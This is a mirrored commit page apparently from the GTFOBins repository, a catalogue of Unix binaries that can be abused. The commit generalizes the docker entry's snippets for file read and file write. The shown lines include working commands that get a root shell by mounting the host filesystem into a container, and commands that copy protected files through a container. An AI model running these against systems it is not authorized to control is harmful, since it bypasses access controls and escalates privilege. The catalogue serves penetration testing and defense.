mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-12 06:52:15 +01:00
Improve and generalize docker file read and write
This commit is contained in:
parent
dcbf66329a
commit
01f6117248
@ -6,19 +6,21 @@ functions:
|
|||||||
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
||||||
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
||||||
file-write:
|
file-write:
|
||||||
- description: Write any file by copying it to an existing container and back to the target destination on the host. The file will be owned by root.
|
- description: Write any file by copying it to an existing container and back to the target destination on the host.
|
||||||
code: |
|
code: |
|
||||||
CONTAINER_ID=existing-docker-container
|
CONTAINER_ID=existing-docker-container
|
||||||
echo "sensitive config" > /tmp/file.txt
|
TF=$(mktemp)
|
||||||
sudo docker cp /tmp/file.txt $CONTAINER_ID:/tmp/file.txt
|
echo "DATA" > $TF
|
||||||
sudo docker cp $CONTAINER_ID:/tmp/file.txt /target/destination.txt
|
docker cp $TF $CONTAINER_ID:$TF
|
||||||
|
docker cp $CONTAINER_ID:$TF file_to_write
|
||||||
file-read:
|
file-read:
|
||||||
- description: Read any file by copying it to an existing container and back to a new location on the host.
|
- description: Read any file by copying it to an existing container and back to a new location on the host.
|
||||||
code: |
|
code: |
|
||||||
CONTAINER_ID=existing-docker-container
|
CONTAINER_ID=existing-docker-container
|
||||||
sudo docker cp /root/protected.txt $CONTAINER_ID:/tmp/file.txt
|
TF=$(mktemp)
|
||||||
sudo docker cp $CONTAINER_ID:/tmp/file.txt /home/user/file.txt
|
docker cp file_to_read $CONTAINER_ID:$TF
|
||||||
cat /home/user/file.txt
|
docker cp $CONTAINER_ID:$TF $TF
|
||||||
|
cat $TF
|
||||||
sudo:
|
sudo:
|
||||||
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
- description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell.
|
||||||
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
|
||||||
|
Loading…
Reference in New Issue
Block a user